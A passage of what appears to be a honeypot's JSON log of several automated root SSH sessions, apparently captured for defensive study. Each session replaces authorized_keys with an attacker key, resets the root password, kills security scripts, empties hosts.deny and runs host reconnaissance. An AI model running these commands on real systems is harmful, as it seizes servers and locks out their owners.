AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:58:46.630828+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:58:47.376559+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:58:49.113695+00:00","kind":"input","latency_ms":null,"data":"echo \"root:T1uRKzTQFdM5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:58:50.002252+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:58:51.865769+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:58:52.625302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:58:54.297916+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:58:55.566633+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:58:56.495593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:58:57.766443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:58:58.617769+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:58:59.326850+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:59:00.249474+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:59:01.004379+00:00","kind":"output","latency_ms":null,"data":" 12:59:01 up 6 days, 9:49, 0 user, load average: 0.25, 0.22, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:59:02.129277+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:59:02.418121+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:59:03.326446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:59:03.852325+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:59:04.748038+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:59:05.376639+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:05 up 6 days, 9:49, 0 user, load average: 0.25, 0.22, 0.2\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:59:07.095563+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:59:07.859534+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:59:08.794835+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:59:09.260228+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:59:10.926594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:59:11.600225+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:59:13.297957+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:59:14.697364+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:59:15.602181+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:59:16.724542+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin123@","method":"password","accepted":true,"tier":"other"}]} {"id":"11b65d9d-09a8-42c4-8f36-6094233473bc","name":"frugal-plush-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":48882,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":856,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:56:23.726104+00:00","ended_at":"2026-08-26T12:56:24.969226+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T12:55:54.571387+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:55:55.427670+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:56:01.869855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:56:02.608903+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:56:03.499201+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q2RyTzsoNvTB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:56:04.402222+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:56:05.225948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:56:05.477693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:56:06.328078+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:56:07.334218+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:56:08.215934+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:56:09.008386+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:56:09.900220+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:56:10.550227+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:56:11.400146+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:56:11.753394+00:00","kind":"output","latency_ms":null,"data":" 12:56:11 up 6 days, 9:46, 0 user, load average: 0.26, 0.2, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:56:12.603888+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:56:13.342654+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:56:14.200721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:56:15.073276+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:56:15.923835+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:56:16.285787+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:16 up 6 days, 9:46, 0 user, load average: 0.26, 0.2, 0.31\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:56:17.142108+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:56:17.607253+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:56:18.497946+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:56:19.122266+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:56:19.999167+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:56:20.775910+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:56:21.628937+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:56:22.877525+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:56:23.726964+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:56:24.698155+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abcd123456","method":"password","accepted":true,"tier":"other"}]} {"id":"eb27f786-f25a-4b14-851a-9c3d83201752","name":"russet-granite-pika","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47094,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":844,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:31:47.892818+00:00","ended_at":"2026-08-26T12:31:49.654955+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:31:18.694273+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:31:19.533468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:31:26.509620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:31:27.119493+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:31:27.960172+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KIoAcfBm5tqm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:31:28.794295+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:31:29.626196+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:31:30.245615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:31:31.091062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:31:32.152072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:31:32.994157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:31:34.159159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:31:34.994604+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:31:35.308594+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:31:36.157636+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:31:36.453070+00:00","kind":"output","latency_ms":null,"data":" 12:31:36 up 6 days, 9:21, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:31:37.293385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:31:37.736845+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:31:38.592263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:31:39.045139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:31:39.897145+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:31:40.353631+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:40 up 6 days, 9:21, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:31:41.196188+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:31:41.937477+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:31:42.802545+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:31:43.556426+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:31:44.393994+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:31:45.048318+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:31:45.891662+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:31:47.040057+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:31:47.893364+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:31:49.388971+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"asa","method":"password","accepted":true,"tier":"other"}]} {"id":"0d06f611-316d-4998-9197-dca43e2f1d03","name":"autumn-gleaming-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46894,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":879,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:28:54.695359+00:00","ended_at":"2026-08-26T12:28:56.430434+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:28:24.895962+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:28:25.795962+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:28:33.126208+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:28:33.680749+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:28:34.535322+00:00","kind":"input","latency_ms":null,"data":"echo \"root:XMObyTI7HE2p\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:28:35.395215+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:28:36.297677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:28:36.715546+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:28:37.596243+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:28:38.459482+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:28:39.318594+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:28:40.298016+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:28:41.195597+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:28:41.689196+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:28:42.565165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:28:42.902886+00:00","kind":"output","latency_ms":null,"data":" 12:28:42 up 6 days, 9:18, 0 user, load average: 0.29, 0.23, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:28:43.794207+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:28:44.576077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:28:45.431247+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:28:46.109632+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:28:46.994765+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:28:47.636372+00:00","kind":"output","latency_ms":null,"data":"top - 12:28:47 up 6 days, 9:18, 0 user, load average: 0.29, 0.23, 0.19\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:28:48.495880+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:28:49.022155+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:28:49.902400+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:28:50.348347+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:28:51.205443+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:28:51.487748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T12:28:52.397129+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:28:53.815238+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:28:54.696910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:28:56.155414+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Senha@123","method":"password","accepted":true,"tier":"other"}]} {"id":"90967c2e-631d-4651-b13d-c1a3a302f9ba","name":"hushed-daring-anteater","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":46696,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":878,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:26:11.600364+00:00","ended_at":"2026-08-26T12:26:12.993685+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:25:40.118761+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:25:41.005633+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:25:47.625178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:25:48.233959+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:25:49.155561+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uMbTHUhIRW9V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:25:50.012160+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:25:50.899624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:25:51.610665+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:25:52.493033+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:25:53.938752+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:25:54.807639+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 